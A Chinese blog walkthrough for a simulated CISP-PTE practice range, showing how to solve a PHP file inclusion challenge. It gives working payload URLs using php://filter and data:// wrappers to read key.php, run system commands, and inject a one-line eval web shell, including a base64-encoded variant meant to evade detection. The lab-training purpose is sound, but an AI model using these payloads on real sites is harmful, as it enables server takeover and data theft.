CISP-PTE靶场通关思路分享-文件包含篇(十分友好,无比详细)

PTE靶场包含5道Web题之文件包含靶场,此靶场为模拟靶场

文件包含

从首页中我们知道了需要读取根目录下的key.php文件,尝试获取WebShell

不获取Shell,直接读取key.php文件内容:

  使用伪协议php://filter可以达到的目的;

  使用data伪协议

使用伪协议data://可以达到注入木马获取WebShell的目的

data后面的数据直接用作网页的内容,而不是网页的地址

 

一、不获取Shell,直接读取key.php文件内容,具体操作步骤如下:

    • 方法一:使用伪协议php://filter读取key.php文件(../key.php)

构造payload:

http://192.168.110.100:83/vulnerabilities/fu1.php?file=php://filter/read=convert.base64-encode/resource=../key.php 

或者

http://192.168.43.99:8083/vulnerabilities/fu1.php?file=php://filter/convert.base64-encode/resource=../key.php

 

 

将上图红色框内的代码进行Base64解码后即可得到结果:

 

  • 方法二:使用data协议,接着查看浏览器页面源代码即可得到key.php中包含的key:

构造payload:

http://192.168.110.100:83/vulnerabilities/fu1.php?file=data:text/txt,<?php system('cat ../key.php')?>

或者

http://192.168.110.100:83/vulnerabilities/fu1.php?file=data:txt/txt,<?php system('cat ../key.php')?>

 

 

然后查看网页源代码,如图所示:

 

 二、使用伪协议data://可以达到注入木马获取WebShell的目的

直接使用data协议:

下面两者payload都可以成功,成功注入后连接菜刀,蚁剑等工具即可成功获取webshell

http://192.168.110.100:83/vulnerabilities/fu1.php?file=data:text/txt,<?php @eval($_POST['a']);?>

拓展,若网站有检测一句话木马上传失败,可使用base64编码,将一句话木马编码后使用data协议进行绕过,如下面代码所示:
下面代码中最后的PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4
=解码后即为一句话木马,注意:一句话木马编码后的结果不能有加号"+",
若有加号在url编码中代表为空格,就会被替换为空格导致木马上传失败。 若存在加号,则可以使用对一句话木马加减空格等方法使编码后的base64编码中不含加号。 http:
//192.168.110.100:83/vulnerabilities/fu1.php?file=data://text/txt;base64,PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4=

 

 连接成功:

 

 

 

 

 

 

 

 

 

 

posted @ 2023-04-04 16:04  信安小萌新  阅读(1224)  评论(0编辑  收藏  举报